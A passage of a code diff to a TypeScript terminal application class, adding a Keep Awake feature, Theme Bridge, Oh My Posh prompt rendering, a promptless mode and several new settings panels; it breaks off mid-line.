+395,8 @@ export class TerminalApp { } // Off: no model use from this window, and the shared service is told to unload. if (turnedOff) this.understanding?.modeChanged(); + // Theme Bridge follows the same funnel: a theme, library or bridge change regenerates what Follow/Choose targets use. + if (themeBridgeKey(previous) !== themeBridgeKey(next)) this.scheduleThemeBridge(); } /** Optional local understanding; creates nothing until a feature is eligible to use it. */ private readonly understanding = new LocalUnderstanding(() => this.configuration.localUnderstanding); @@ -373,6 +408,8 @@ export class TerminalApp { /** /prompt preview rendering; never shown as the live prompt. */ private panelExternalPrompt?: {provider: PromptProviderId; result: StarshipPromptResult}; private p10kStatus?: Powerlevel10kStatus; + /** Cancels a superseded Oh My Posh render, so at most one child runs. */ + private ohMyPoshRender?: AbortController; private promptPanelState?: PromptPanelState; private transcriptPanelState?: TranscriptPanelState; /** The shared provider gallery for families without a bespoke panel (Welcome, Suggestions). */ @@ -453,6 +490,144 @@ export class TerminalApp { /** Frontend PATH and recipe lookups for install offers; replaceable in tests. */ private installProbe = {onPath: (name: string) => resolveCommand(name) !== undefined, recipe: (tool: Tool) => planPackageInstall(tool) ?? toolInstall(tool)}; private misePanel?: MisePanel; + private keepAwakePanel?: KeepAwakePanel; + private keepAwakeController?: KeepAwakeController; + /** One controller for /caffeinate, /awake and /zoomies; the backend is detected once. */ + private keepAwake(): KeepAwakeController { return this.keepAwakeController ??= new KeepAwakeController(detectBackend()); } + + /** The verified Keep Awake record presentation shows; undefined (Off) renders nothing anywhere. */ + private awakeRecord?: KeepAwakeRecord; + private awakeTimer?: () => void; + /** Last local NMSh input (keys, mouse, paste): the idle reminder's clock. Output and OS idle state never count. */ + private lastUserInput = Date.now(); + /** A cheap key for what Keep Awake shows, so the poll repaints only when it changes. */ + private awakeShown = ''; + + /** Full verified refresh (ownership checked): on launch, after every Keep Awake action, and when the stored record changes. */ + private refreshAwake(): void { + if (!this.keepAwakeController && !existsSync(keepAwakePath())) { this.awakeRecord = undefined; return; } + const status = this.keepAwake().status(); + this.awakeRecord = status.state === 'running' ? status.record : undefined; + } + + /** Polled while NMSh presents: a file read, plus an ownership check only when the record changed or its timeout passed. */ + private pollAwake(): void { + const stored = this.keepAwakeController || existsSync(keepAwakePath()) ? this.keepAwake().peek() : undefined; + const current = this.awakeRecord; + const expired = current?.timeoutSeconds !== undefined && Date.now() >= current.startedAt + current.timeoutSeconds * 1000; + if (stored?.token !== current?.token || expired) this.refreshAwake(); + const shown = this.awakeShownKey(); + if (shown !== this.awakeShown) { this.awakeShown = shown; this.render(); } + } + + private awakeShownKey(): string { + const record = this.awakeRecord; + if (!record) return ''; + return `${record.token}|${this.awakeIdle()}|${awakeDuration(record, Date.now())}`; + } + + /** One timer while Keep Awake is active (or could become active from another window); none once NMSh stops presenting. */ + private syncAwake(): void { + const wanted = this.presentationStarted && !this.stopped && !this.passthrough && !this.externalPassthrough && !this.frontendSuspended; + if (wanted && !this.awakeTimer) this.awakeTimer = presentationClock.subscribe(() => this.pollAwake(), AWAKE_POLL_MS); + else if (!wanted && this.awakeTimer) { this.awakeTimer(); this.awakeTimer = undefined; } + } + + /** Expanded reminder after no local NMSh input for the configured delay (a deterministic demo may shorten it). */ + private awakeIdle(now = Date.now()): boolean { + const settings = this.promptConfiguration.keepAwake; + if (!this.awakeRecord || !settings.idleReminder) return false; + const override = isDeterministicPresentation() ? Number(process.env.NMSH_DEMO_AWAKE_IDLE_MS) : Number.NaN; + const delay = Number.isFinite(override) && override >= 0 ? override : settings.idleAfterSeconds * 1000; + return now - this.lastUserInput >= delay; + } + + private awakeViewNow(now = Date.now()) { + const record = this.awakeRecord; + return record ? awakeView(record, this.promptConfiguration.keepAwake, this.awakeIdle(now), now) : undefined; + } + + /** + * Input row placement: the width reserved at the end of the first input row, + * or 0. Only when completely safe: a single-line edit with room to spare and + * no right prompt on that row. Wrapping, the caret, selection and mouse hit + * testing all use the narrowed width (inputColumns), so typed text can never + * run under it. + */ + private awakeInputReserve(columns: number): number { + const view = this.awakeViewNow(); + if (!view || this.promptConfiguration.keepAwake.placement !== 'input') return 0; + if (this.promptConfiguration.composerLayout === 'oneLine' && this.effectivePromptProvider === 'nmsh') return 0; + if (this.editor.displayText.includes('\n')) return 0; + const reserve = view.compact.width + 2; + const prefix = this.inputFirstLinePrefix(columns); + const used = displayWidth(prefix ?? `${GLYPHS.prompt} `) + displayWidth(this.editor.displayText) + 1; + return used + AWAKE_INPUT_SLACK <= columns - reserve ? reserve : 0; + } + + /** The editor's width: the terminal width less any Keep Awake input reservation. */ + private inputColumns(columns: number): number { + return Math.max(1, columns - this.awakeInputReserve(columns)); + } + + /** Resolves this frame's slot against real composer geometry; the saved preference never changes. */ + private awakeDecision(plan: ScreenPlan, columns: number): ScreenPlan['awake'] { + const view = this.awakeViewNow(); + if (!view || plan.panelActive) return undefined; + const edges = composerEdgeStates(plan, this.promptConfiguration.placement); + const fits = edgeFits(columns, view.compact.width); + const slot = resolveAccessorySlot(this.promptConfiguration.keepAwake.placement, { + topEdge: edges.topEdge === 'available' && fits ? 'available' : edges.topEdge === 'occupied' ? 'occupied' : 'unavailable', + bottomEdge: edges.bottomEdge === 'available' && fits ? 'available' : 'unavailable', + inputTrailing: this.awakeInputReserve(columns) > 0 ? 'available' : 'unavailable', + }); + return {slot, expandedOnEdge: Boolean(view.expanded && (slot === 'topEdge' || slot === 'bottomEdge') && edgeFits(columns, view.expanded.width))}; + } + + /** Rows the adjacent slot needs: its own row, or the muted reminder when the idle form does not fit where the label is. */ + private awakeAdjacentRows(decision: ScreenPlan['awake']): number { + if (!decision) return 0; + if (decision.slot === 'adjacentRow') return 1; + return this.awakeIdle() && !decision.expandedOnEdge ? 1 : 0; + } + + private awakeRows(plan: ScreenPlan, columns: number): string[] { + const view = this.awakeViewNow(); + if (!view || !plan.awake) return []; + return [plan.awake.slot === 'adjacentRow' ? view.row(columns) : view.reminder.ansi]; + } + + /** The composer edge (border or separator) through the one shared renderer: the rule, plus the accessory when this edge holds it. */ + private composerEdgeRow(kind: 'composerBorder' | 'separator', plan: ScreenPlan, columns: number, now: number): string { + const rule = `${paintDivider(repeatToWidth(GLYPHS.separator, columns), this.promptConfiguration.presentation, now)}${RESET}`; + const accessory = this.edgeAccessory(kind, plan, now); + return accessory ? renderComposerEdge({rule, width: columns, accessory}) : rule; + } + + private edgeAccessory(kind: 'composerBorder' | 'separator', plan: ScreenPlan, now = Date.now()): {ansi: string; width: number} | undefined { + const view = this.awakeViewNow(now); + if (!view || plan.awake?.slot !== (kind === 'composerBorder' ? 'topEdge' : 'bottomEdge')) return undefined; + return plan.awake.expandedOnEdge && view.expanded ? view.expanded : view.compact; + } + + private handleKeepAwakeSlash(command: string, slash: Extract): void { + const controller = this.keepAwake(); + if (slash.op === 'panel') { + this.panelOrigin = undefined; + this.keepAwakePanel = {...createKeepAwakePanel(controller, slash.invalid ? `"${slash.invalid}" is not a Keep Awake mode or duration. Modes: idle, display, system, all; durations like 45s, 30m, 2h.` : undefined), command: command.split(/\s+/u)[0]!}; + } else if (slash.op === 'status') this.output.addFrontendInteraction(command, statusLines(controller).join('\n'), INFO); + else if (slash.op === 'stop') this.output.addFrontendInteraction(command, controller.stop(), INFO); + else { + const result = controller.start(slash.mode!, slash.timeoutSeconds); + if (result.kind === 'needsConfirm') { + // A different mode is running: the panel asks first (default No). + this.keepAwakePanel = {...createKeepAwakePanel(controller), command: command.split(/\s+/u)[0]!}; + requestStart(this.keepAwakePanel, controller, slash.mode!, slash.timeoutSeconds); + } else this.output.addFrontendInteraction(command, describeStart(result), result.kind === 'failed' || result.kind === 'unsupported' ? ERROR : INFO); + } + this.refreshAwake(); + this.render(); + } private readonly miseService = new MiseProjectService(); private toolConfigurationLoading = false; private toolConfigurationGeneration = 0; @@ -550,10 +725,12 @@ export class TerminalApp { this.completionService.setShellKnowledge(parseShellKnowledge(marker.knowledge)); this.rememberShellNames(marker.knowledge); } + // Host OSC 7 / OSC 133: a projection of this authoritative marker, never the other way round. + this.hostSemantics.prompt(marker.cwd, marker.exitCode); this.onShellPrompt(marker.exitCode, marker.cwd, stamp.at); } }); - this.session.on('exec', (command, stamp) => { if (this.inStream(stamp)) this.onShellExec(command, stamp.at, stamp.historyAllowed); }); + this.session.on('exec', (command, stamp) => { if (this.inStream(stamp)) { this.hostSemantics.exec(); this.onShellExec(command, stamp.at, stamp.historyAllowed); } }); this.session.on('replayed', summary => this.finishReplay(summary)); this.session.on('inputRejected', (data, submission) => this.onInputRejected(data, submission)); this.session.on('startup', tail => { @@ -562,6 +739,7 @@ export class TerminalApp { }); this.session.on('exit', event => { this.shellEnded = true; + this.hostSemantics.end(); if (event.lost) { // Recorded in the journal before it closes; nothing claims the shell survived. this.lostServiceConnection = true; @@ -755,7 +933,7 @@ export class TerminalApp { } this.commandModes.reset(); const startId = this.output.beginCommand(command, this.formatCommandAnsi(command, null), mode => this.onActiveModeChange(mode), - {cwd: this.shellCwd, project: this.context.project, branch: this.context.branch, prompt: this.currentPromptSnapshot(command)}); + this.historicalContext(this.shellCwd, this.context, command)); this.tapActivityObserver.reset(this.output.activeOutputStartId ?? startId); this.running = {command, startedAt: at, interrupted: false, cleared: false, startId, cwd: this.shellCwd, historyAllowed}; this.scheduleJournal(); @@ -844,6 +1022,9 @@ export class TerminalApp { } }); this.presentationStarted = true; + this.refreshAwake(); + // Re-apply (or clean up) Theme Bridge state once per launch; nothing happens when it was never used. + this.scheduleThemeBridge(500); this.scheduleWelcomeBlink(); void this.loadHistory(); this.render(); @@ -899,7 +1080,11 @@ export class TerminalApp { return; } // Focus reports alone are not user activity (a terminal can report them on its own). - if (keys.some(key => key.kind !== 'focusIn' && key.kind !== 'focusOut')) this.noteActivity(); + if (keys.some(key => key.kind !== 'focusIn' && key.kind !== 'focusOut')) { + // Pointer motion alone is not interaction for the Keep Awake reminder; keys, clicks, scroll and paste are. + if (keys.some(key => key.kind !== 'focusIn' && key.kind !== 'focusOut' && key.kind !== 'mouseMove')) this.lastUserInput = Date.now(); + this.noteActivity(); + } for (const key of keys) { const before = {text: this.editor.text, index: this.editor.displayCursorIndex}; this.handleKey(key); @@ -917,7 +1102,7 @@ export class TerminalApp { if (this.editor.text !== before.text || this.editor.displayCursorIndex === before.index || this.settingsPanelActive || this.passthrough) return; const columns = this.dimensions().columns; const prefix = this.inputFirstLinePrefix(columns); - const at = (index: number) => layoutInput(this.editor.displayText, index, columns, Number.POSITIVE_INFINITY, prefix); + const at = (index: number) => layoutInput(this.editor.displayText, index, this.inputColumns(columns), Number.POSITIVE_INFINITY, prefix); const from = at(before.index), to = at(this.editor.displayCursorIndex); if (from.caretRow !== to.caretRow) return; this.transitions.travel(from.caretColumn, to.caretColumn, to.caretRow, Date.now()); @@ -1023,6 +1208,21 @@ export class TerminalApp { void this.handleMiseKey(key, this.misePanel); return; } + if (this.keepAwakePanel) { + const result = keepAwakeKey(this.keepAwakePanel, this.keepAwake(), key, this.promptConfiguration.keepAwake); + if (result && typeof result === 'object' && 'settings' in result) { + const next = result.settings; + this.updateConfiguration(configuration => { configuration.keepAwake = next; }); + } else if (result) { + const command = this.keepAwakePanel.command; + this.keepAwakePanel = undefined; + if (typeof result === 'object' && 'done' in result) this.output.addFrontendInteraction(command ?? '/caffeinate', result.done, INFO); + this.refreshAwake(); + this.returnFromPanel(); + } + this.render(); + return; + } if (this.installPrompt) { void this.handleInstallPromptKey(key, this.installPrompt); return; @@ -1035,6 +1235,36 @@ export class TerminalApp { this.handleThemeStudioKey(key, this.themeStudio); return; } + if (this.themeBridgePanel) { + void this.handleThemeBridgeKey(key, this.themeBridgePanel); + return; + } + if (this.rowPanel) { + const action = rowPanelKey(this.rowPanel, key, this.promptConfiguration); + if (action?.kind === 'close') { this.rowPanel = undefined; this.returnFromPanel(); } + else if (action?.kind === 'change') { this.applySettingsConfiguration(action.configuration); this.syncStatusStrip(); } + this.render(); + return; + } + if (this.configureList) { + const tools = registryFacts(); + const action = configureListKey(this.configureList, key, tools); + if (action?.kind === 'close') { this.configureList = undefined; this.returnFromPanel(); } + else if (action?.kind === 'open') { this.configureList = undefined; void this.openConfigure(action.id, '/configure'); } + else if (action?.kind === 'bridge') { this.configureList = undefined; void this.openThemeBridge(); } + this.render(); + return; + } + if (this.tmuxPanel) { + void this.handleTmuxKey(key, this.tmuxPanel); + return; + } + if (this.dotfiles) { + const action = dotfilesKey(this.dotfiles, key); + if (action) void this.handleDotfilesAction(action, this.dotfiles).then(() => this.render()); + this.render(); + return; + } if (this.screensaverPanel) { this.handleScreensaverKey(key, this.screensaverPanel); return; @@ -1231,10 +1461,12 @@ export class TerminalApp { return; } if (this.providersOverview) { - const action = providersOverviewKey(this.providersOverview, key); + const action = providersOverviewKey(this.providersOverview, key, {configuration: this.promptConfiguration, statuses: this.providerStatuses}); if (action?.kind === 'close') { this.providersOverview = undefined; this.returnFromPanel(); } else if (action?.kind === 'detect') void this.refreshProvidersOverview(true); else if (action?.kind === 'open') this.openProviderFamily(action.row); + else if (action?.kind === 'select') this.selectProviderInline(action.family, action.id); + else if (action?.kind === 'install') void this.installProviderInline(action.family, action.id); this.render(); return; } @@ -1403,6 +1635,8 @@ export class TerminalApp { // The canonical editors; /appearance never duplicates them. this.appearanceHub = undefined; if (action.destination === 'prompt') void this.startPromptSettings(false); + else if (action.destination === 'theme') this.openThemeStudio(); + else if (action.destination === 'themeBridge') void this.openThemeBridge(); else if (action.destination === 'cursor') this.openCursorPanel(); else if (action.destination === 'chroma') this.startChromaSettings(); else this.focusConfigRow('uiChrome'); @@ -1583,6 +1817,8 @@ export class TerminalApp { // completion menu: Down enters it, Up from its first row (or before // entering it) leaves it for command history. const searchSurface = this.historySearchActive || this.directorySearchActive; + // A bottom composer lists picker results above the query, best match nearest it: Up moves away from the input. + if (searchSurface && this.pickerFromBottom() && (key.kind === 'up' || key.kind === 'down')) key = {...key, kind: key.kind === 'up' ? 'down' : 'up'} as Key; const inSlashMenu = this.slashMenuFor === this.editor.text; if (key.kind === 'up' && suggestions.length > 0 && (searchSurface || (inSlashMenu && this.selectedSuggestion > 0))) { this.selectedSuggestion = (this.selectedSuggestion - 1 + suggestions.length) % suggestions.length; @@ -1847,7 +2083,7 @@ export class TerminalApp { const native = () => { /* Keep the existing native menu on fallback. */ }; const result = await openPicker(this.promptConfiguration.picker, candidates.map((candidate, index) => ({ id: String(index), label: candidate.display, description: candidate.description, value: candidate.insertion, - })), native, this.pickerHandoff); + })), native, this.pickerHandoff, process.env, await this.fzfThemeArgs(), this.fzfLayout()); if (!this.stopped && !this.running && this.editor.text === original && this.completionCursor === cursor && this.context.cwd === cwd && result?.kind === 'selected') { const selected = candidates[Number(result.candidate.id)]; @@ -1880,7 +2116,7 @@ export class TerminalApp { id: entry.id, label: entry.command, value: entry.command, description: entry.cwd, })); if (this.stopped || this.running || this.editor.text !== original) return; - const result = await openPicker(this.promptConfiguration.picker, candidates, native, this.pickerHandoff); + const result = await openPicker(this.promptConfiguration.picker, candidates, native, this.pickerHandoff, process.env, await this.fzfThemeArgs(), this.fzfLayout()); if (this.stopped) return; if (result?.kind === 'selected') this.applySuggestion({insertion: result.candidate.value}); if (result?.kind === 'fallback') this.output.addFrontendInteraction('/history', result.reason, INFO); @@ -1899,7 +2135,7 @@ export class TerminalApp { if (this.stopped || this.running || this.editor.text !== original) return; const result = await openPicker(this.promptConfiguration.picker, directories.map(item => ({ id: item.path, label: item.path, description: item.project, value: directoryCommand(item.path), - })), native, this.pickerHandoff); + })), native, this.pickerHandoff, process.env, await this.fzfThemeArgs(), this.fzfLayout()); if (this.stopped) return; if (result?.kind === 'selected') this.applySuggestion({insertion: result.candidate.value}); if (result?.kind === 'fallback') this.output.addFrontendInteraction('/dirs', result.reason, INFO); @@ -1984,6 +2220,12 @@ export class TerminalApp { } else if (slash.kind === 'copy') await this.copyRecent(slash.index); else if (slash.kind === 'appearance') { this.panelOrigin = undefined; await this.startAppearance(); } + else if (slash.kind === 'motion') { + // The same Motion screen and state as /appearance → Motion. + this.panelOrigin = undefined; + await this.startAppearance(); + if (this.appearanceHub) { this.appearanceHub.view = 'motion'; this.appearanceHub.selected = 0; this.appearanceHub.previewStart = Date.now(); } + } else if (slash.kind === 'prompt') { this.panelOrigin = undefined; await this.startPromptSettings(false); } else if (slash.kind === 'chroma') { this.panelOrigin = undefined; this.startChromaSettings(); } else if (slash.kind === 'screensaver') { @@ -1996,16 +2238,28 @@ export class TerminalApp { // The cursor has one configuration: /cursor opens its existing Settings rows. else if (slash.kind === 'cursor') this.openCursorPanel(); else if (slash.kind === 'activity') { this.panelOrigin = undefined; this.focusConfigRow('activityColors'); } - else if (slash.kind === 'theme') { this.panelOrigin = undefined; this.themeStudio = createThemeStudio(this.promptConfiguration.customTheme, this.promptConfiguration.nmsh.palette); } + else if (slash.kind === 'theme') { this.panelOrigin = undefined; this.openThemeStudio(); } + else if (slash.kind === 'themeBridge') { this.panelOrigin = undefined; await this.openThemeBridge(); } + // Short routes into the canonical surfaces: no second editor and no second state anywhere. + else if (slash.kind === 'chrome') { this.panelOrigin = undefined; this.focusConfigRow('uiChrome'); } + else if (slash.kind === 'glyphs') { + this.panelOrigin = undefined; + this.settingsPanelState = {section: 'appearance', selectedIndex: this.promptConfiguration.glyphStyle === 'nerd' ? 0 : 1, glyphStyle: this.promptConfiguration.glyphStyle, onboarding: false}; + } + else if (slash.kind === 'statusStrip') { this.panelOrigin = undefined; this.openStatusStrip(); } + else if (slash.kind === 'configure') { this.panelOrigin = undefined; await this.openConfigure(slash.tool, command); } + else if (slash.kind === 'integrations') { this.panelOrigin = undefined; await this.openIntegrations(); } + else if (slash.kind === 'dotfiles') { this.panelOrigin = undefined; this.dotfiles = createDotfilesPanel(slash.source ?? '~/dotfiles'); if (slash.source) await this.handleDotfilesAction({kind: 'scan', source: slash.source}, this.dotfiles); this.render(); } else if (slash.kind === 'settings') this.openSettingsPanel(slash.view); else if (slash.kind === 'tools') { this.panelOrigin = undefined; this.startTools(); } + else if (slash.kind === 'keepAwake') this.handleKeepAwakeSlash(command, slash); else if (slash.kind === 'setup') { this.panelOrigin = undefined; this.startSetup(slash.entry); } else if (slash.kind === 'transcript') { this.panelOrigin = undefined; this.startTranscriptSettings(); } else if (slash.kind === 'syntax') { this.panelOrigin = undefined; this.startSyntaxSettings(); } else if (slash.kind === 'layout') { this.panelOrigin = undefined; this.startLayoutSettings(); } else if (slash.kind === 'keyboard') { this.panelOrigin = undefined; await this.startKeyboard(); } else if (slash.kind === 'handoff') this.leaveForOrdinaryShell(slash.shell ?? this.promptConfiguration.shellBackend, command); - else if (slash.kind === 'version') this.output.addFrontendInteraction(command, formatBuildIdentity(this.buildIdentity), INFO); + else if (slash.kind === 'version') this.output.addFrontendInteraction(command, `${formatBuildIdentity(this.buildIdentity)}\nInstalled ${installProvenanceLabel()}`, INFO); else if (slash.kind === 'update') void this.runUpdateCommand(command, slash.apply); else if (slash.kind === 'clear') await this.startFreshPresentation(); else if (slash.kind === 'presets') this.startPresets(); @@ -2039,7 +2293,7 @@ export class TerminalApp { } else if (slash.kind === 'palette') this.openPalette(); else if (slash.kind === 'ask') this.openAsk(slash.request); - else if (slash.kind === 'providers') this.openProvidersOverview(); + else if (slash.kind === 'providers') this.openProvidersOverview(slash.family); else if (slash.kind === 'llm') this.openUnderstandingPanel(); else if (slash.kind === 'doctor') void this.openDoctor(); else if (slash.kind === 'watch') this.handleWatch(command, slash.op, slash.arguments); @@ -2186,8 +2440,7 @@ export class TerminalApp { this.session.resize(dimensions.columns, dimensions.rows); } this.render(); - }, {cwd: this.shellCwd, project: contextAtSubmission.project, branch: contextAtSubmission.branch, - prompt: this.currentPromptSnapshot(command)}); + }, this.historicalContext(this.shellCwd, contextAtSubmission, command)); this.tapActivityObserver.reset(this.output.activeOutputStartId ?? startId); this.output.setActiveActivities([]); this.formatCommandAnsi(command, startId); @@ -2630,9 +2883,10 @@ export class TerminalApp { } private showHelp(command: string): void { - const helpText = renderMarkdownText(helpMarkdown(), {columns: Math.max(20, this.dimensions().columns - 6), - hyperlinks: false}); // the transcript cell model has no OSC 8 support - this.output.addFrontendInteraction(command, helpText, INFO); + // Authored links are stored as authored cells and painted only where the host supports OSC 8; elsewhere the URL is shown inline. + const linked = this.host.capabilities.hyperlinks; + const helpText = renderMarkdownText(helpMarkdown(), {columns: Math.max(20, this.dimensions().columns - 6), hyperlinks: linked}); + this.output.addFrontendInteraction(command, helpText, INFO, linked); } private onInputRejected(data: string, submission: boolean): void { @@ -2801,7 +3055,14 @@ export class TerminalApp { return {...this.context, commandWords: words, shell, ...(kubeContext ? {kubeContext} : {}), ...(dockerContext ? {dockerContext} : {})}; } - private currentPromptSnapshot(command?: string): PromptSnapshot { + /** Prompt None submissions genuinely have no prompt snapshot; history never substitutes Native for them. */ + private historicalContext(cwd: string, context: {project?: string; branch?: string}, command: string): HistoricalContextSnapshot { + const prompt = this.currentPromptSnapshot(command); + return {cwd, project: context.project, branch: context.branch, ...(prompt ? {prompt} : this.effectivePromptProvider === 'none' ? {promptless: true as const} : {})}; + } + + private currentPromptSnapshot(command?: string): PromptSnapshot | undefined { + if (this.effectivePromptProvider === 'none') return undefined; if (this.effectivePromptProvider !== 'nmsh' && this.externalPrompt) { return {provider: this.effectivePromptProvider, layout: this.promptConfiguration.composerLayout, segments: structuredClone(this.externalPrompt.segments), cwd: this.context.cwd, @@ -2828,6 +3089,14 @@ export class TerminalApp { this.p10kStatus = this.detectPowerlevel10k(configuration); return renderPowerlevel10kPrompt(this.context, this.p10kStatus); } + if (configuration.provider === 'ohMyPosh') { + const status = await detectOhMyPosh(configuration.ohMyPosh.configPath ?? undefined); + this.ohMyPoshRender?.abort(); + const controller = new AbortController(); + this.ohMyPoshRender = controller; + try { return await renderOhMyPoshPrompt(this.context, status, process.env, {signal: controller.signal}); } + finally { if (this.ohMyPoshRender === controller) this.ohMyPoshRender = undefined; } + } const env = this.starshipEnvironment(configuration); this.starshipStatus ??= await detectStarship(env); if (!this.starshipStatus.installed) throw new Error('Starship is not installed or not available on PATH.'); @@ -2835,8 +3104,8 @@ export class TerminalApp { } private async refreshProviderPrompt(): Promise { - if (this.promptConfiguration.provider === 'nmsh') { - this.effectivePromptProvider = 'nmsh'; + if (this.promptConfiguration.provider === 'nmsh' || this.promptConfiguration.provider === 'none') { + this.effectivePromptProvider = this.promptConfiguration.provider; this.externalPrompt = undefined; this.externalPromptError = undefined; return; @@ -2961,9 +3230,18 @@ export class TerminalApp { state.step = 'powerlevel10k'; state.selectedIndex = 0; if (state.p10kStatus.installed) await this.refreshPanelPreview(state); + } else if (state.draft.provider === 'ohMyPosh' && !(await detectOhMyPosh(state.draft.ohMyPosh.configPath ?? undefined)).installed) { + // Nothing to render with: stay on the provider list and say why. + state.draft.provider = state.saved?.provider ?? this.promptConfiguration.provider; + state.message = 'Oh My Posh is not installed. Install it from /tools (Shell / Workflow) and choose it again.'; + } else if (state.draft.provider === 'none') { + // Composer only: no layout applies; the appearance step keeps the theme and the input marker. + state.step = 'appearance'; + state.selectedIndex = 0; } else { state.step = 'layout'; state.selectedIndex = layoutChoiceIndex(state.draft); + if (state.draft.provider === 'ohMyPosh') await this.refreshPanelPreview(state); } } else if (state.step === 'powerlevel10k') { const installed = Boolean(state.p10kStatus?.installed); @@ -3112,7 +3390,7 @@ export class TerminalApp { } } else if (state.step === 'layout') { applyLayoutChoice(state.draft, state.selectedIndex); - if (state.draft.provider === 'nmsh') { state.step = 'appearance'; state.selectedIndex = 0; } + if (state.draft.provider === 'nmsh' || state.draft.provider === 'none') { state.step = 'appearance'; state.selectedIndex = 0; } else await this.savePromptSettings(); } else if (onModulesRow(state)) { state.step = 'modules'; @@ -3169,6 +3447,7 @@ export class TerminalApp { const context = state.step === 'modules' || state.step === 'appearance' || state.step === 'layout' ? moduleShowcaseContext() : this.promptContext(); let providerRow: string; + if (previewConfig.provider === 'none') return [`${SUBTLE}None · composer only${RESET}`, boundary, `${ACCENT}${GLYPHS.prompt}${RESET} echo hello`, boundary]; if (previewConfig.provider !== 'nmsh') { const preview = this.panelExternalPrompt?.provider === previewConfig.provider ? this.panelExternalPrompt.result : undefined; if (!preview) return [this.externalPanelStatusText(state, previewConfig.provider, width)]; @@ -3207,14 +3486,16 @@ export class TerminalApp { } private get settingsPanelActive(): boolean { - return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || this.paletteState || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState - || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.pasteReview); + return Boolean(this.stopsEditor || this.chromeEditor || this.screensaverPanel || this.themeStudio || this.themeBridgePanel || this.rowPanel || this.configureList || this.tmuxPanel || this.dotfiles || this.setupState || this.installPrompt || this.presetPanel || this.toolsPanel || this.toolConfigurationLoading || this.toolConfiguration || this.promptPanelState || this.transcriptPanelState || this.providerPanelState || this.paletteState || this.syntaxPanelState || this.layoutPanelState || this.settingsPanelState + || this.resumeBrowser || this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } /** Complex panels declare the smallest size that shows their essential controls. */ private panelMinimum(): MinimumSize | undefined { if (this.setupState) return SETUP_MIN_SIZE; if (this.themeStudio) return STUDIO_MIN_SIZE; + if (this.themeBridgePanel) return {columns: 56, rows: 14}; + if (this.tmuxPanel || this.configureList || this.rowPanel || this.dotfiles) return {columns: 50, rows: 12}; if (this.screensaverPanel) return SCREENSAVER_MIN_SIZE; if (this.chromeEditor || this.stopsEditor) return CHROME_EDITOR_MIN_SIZE; return undefined; @@ -3233,8 +3514,14 @@ export class TerminalApp { if (this.toolConfiguration) return renderConfigurationPanel(this.toolConfiguration, columns, this.dimensions().rows); if (this.presetPanel) return renderPresetPanel(this.presetPanel, columns, this.dimensions().rows); if (this.misePanel) return renderMisePanel(this.misePanel, columns, this.dimensions().rows); + if (this.keepAwakePanel) return renderKeepAwakePanel(this.keepAwakePanel, this.keepAwake(), columns, this.dimensions().rows, this.promptConfiguration.keepAwake); if (this.installPrompt) return renderInstallPrompt(this.installPrompt, columns); if (this.themeStudio) return this.renderThemeStudioRows(this.themeStudio, columns); + if (this.themeBridgePanel) return renderThemeBridgePanel(this.themeBridgePanel, this.themeBridgePanelContext(), columns, this.dimensions().rows); + if (this.rowPanel) return renderRowPanel(this.rowPanel, this.promptConfiguration, columns, this.dimensions().rows, this.promptConfiguration.statusStrip.enabled ? [this.statusStripRow(columns - 2)] : [' (Status strip Off)']); + if (this.configureList) return renderConfigureList(this.configureList, registryFacts(), columns, this.dimensions().rows); + if (this.tmuxPanel) return renderTmuxPanel(this.tmuxPanel, columns, this.dimensions().rows); + if (this.dotfiles) return renderDotfilesPanel(this.dotfiles, columns, this.dimensions().rows); if (this.screensaverPanel) return this.renderScreensaverRows(this.screensaverPanel, columns); if (this.stopsEditor) return this.renderStopsEditor(this.stopsEditor, columns); if (this.chromeEditor) return renderChromeEditor(this.chromeEditor, columns, this.dimensions().rows, colorLevel()); @@ -3282,7 +3569,7 @@ export class TerminalApp { if (this.doctorPanel) return framePanel(renderDoctorPanel(this.doctorPanel, columns, Date.now(), !this.decorativeMotionAllowed()), columns); if (this.cursorPanel) return framePanel(this.cursorPanelRows(this.cursorPanel, columns, this.cursorEnv(this.cursorPanel.draft, this.promptConfiguration)), columns); if (this.understandingPanel) return framePanel(renderUnderstandingPanel(this.understandingPanel, this.understandingFacts(), columns), columns); - if (this.providersOverview) return framePanel(renderProvidersOverview(this.providersOverview, this.providersOverviewFacts(), columns), columns); + if (this.providersOverview) return framePanel(renderProvidersOverview(this.providersOverview, this.providersOverviewFacts(), columns, this.dimensions().rows - 3), columns); if (this.shellPanel) return framePanel(renderShellPanel(this.shellPanel, columns), columns); if (this.resumeBrowser?.liveOnly) return framePanel(this.sessionsViewRows(this.resumeBrowser, columns), columns); if (this.resumeBrowser) { @@ -3336,7 +3623,7 @@ export class TerminalApp { return framePanel(rows, columns); } if (this.appearanceHub) { - const theme = NATIVE_PROMPT_THEMES[this.promptConfiguration.nmsh.palette]?.label ?? this.promptConfiguration.nmsh.palette; + const theme = themeLabel(this.promptConfiguration.nmsh.palette); const now = Date.now(); const gate = this.motionPreviewGate(); // A frame clock only while the one-shot preview is animating; none once it settles. @@ -3506,7 +3793,8 @@ export class TerminalApp { else if (destination === 'syntax') this.startSyntaxSettings(); else if (destination === 'layout') this.startLayoutSettings(); else if (destination === 'cursor') this.openCursorPanel(); - else if (destination === 'themeStudio') this.themeStudio = createThemeStudio(this.promptConfiguration.customTheme, this.promptConfiguration.nmsh.palette); + else if (destination === 'themeStudio') this.openThemeStudio(); + else if (destination === 'themeBridge') void this.openThemeBridge(); else if (destination === 'welcome' || destination === 'suggestions' || destination === 'history' || destination === 'picker' || destination === 'navigation') this.startProviderPanel(destination); else void this.startKeyboard(); } @@ -3578,9 +3866,24 @@ export class TerminalApp { const state = this.toolsPanel = createToolsPanel(new Set([config.history, config.picker, config.navigation, config.welcome, config.provider]), onboarding); state.updates = this.toolUpdates; state.activation = toolId => integrationActivation(toolId, this.shellId, this.shellNames, this.shellNamesComplete); + state.prompt = {selected: config.provider, effective: 